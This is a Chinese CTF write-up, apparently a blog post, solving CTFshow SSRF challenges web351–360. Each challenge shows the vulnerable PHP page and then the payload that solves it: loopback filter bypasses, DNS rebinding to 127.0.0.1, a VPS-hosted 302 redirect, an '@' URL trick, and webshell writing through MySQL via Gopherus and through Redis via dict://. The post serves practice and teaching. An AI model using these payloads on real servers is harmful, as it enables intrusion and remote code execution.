CTFshow web入门 SSRF

web351

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

第一题,啥也没过滤
payload:

url=http://127.0.0.1/flag.php

web352

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

过滤了127.0.0|localhost,可以用127.0.1绕过
payload:

url=http://127.0.1/flag.php

web353-354

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

这题我试了短网址、ip地址进制转换,都不行,还是要修改自己域名的解析记录,把A记录全部修改成127.0.0.1
在这里插入图片描述
payload:

url=http://自己的域名/flag.php

web355-356

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

限制了host的长度为5,先看本地测试
在这里插入图片描述
post给url的是http://127.0.0.1,host指向的是127.0.0.1

payload:

url=http://127.1/flag.php
url=http://0/flag.php

web356用第二种payload即可

web357

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    die('ip!');
}
echo file_get_contents($_POST['url']);
}
else{
    die('scheme');
}
?>

302跳转,在自己的vps上写一个index.php

<?php
header("Location:http://127.0.0.1/flag.php");

然后

url=http://自己的域名/index.php

就能得到flag。没有vps的可以去buu上开一个暂时的

web358

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
}

看正则,要求必须以http://ctf开头,以show结尾,这里可以用@

payload:

url=http://ctf.@127.0.0.1/flag.php#show

web359

hint是打无密码的mysql,用Gopherus来打,方便快捷,要注意的是Gopherus用的是python2
在这里插入图片描述

python gopherus.py --exploit mysql
root
select "<?php @eval($_POST[a]);?>" into outfile "/var/www/html/1.php";

然后将payload下划线后面的内容在burp中url加密一下,即可成功写马,然后蚁剑连上,在根目录中找到flag

web360

hint是打redis,这题不用脚本,手打一下
首先用dict协议探测一下是否在6379端口

url=dict://127.0.0.1:6379

在这里插入图片描述
发现存在,下一步设置本地存放dir

url=dict://127.0.0.1:6379/config:set:dir:/var/www/html

在这里插入图片描述
然后开始写马,一般用十六进制

url=dict://127.0.0.1:6379/set:shell:"\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x61\x5d\x29\x3b\x3f\x3e"

设置文件名

url=dict://127.0.0.1:6379/set:dbfilename:111.php

最后保存

url=dict://127.0.0.1:6379/save

写马成功
在这里插入图片描述
参考文章:浅析Redis中SSRF的利用

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Lum1n0us

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值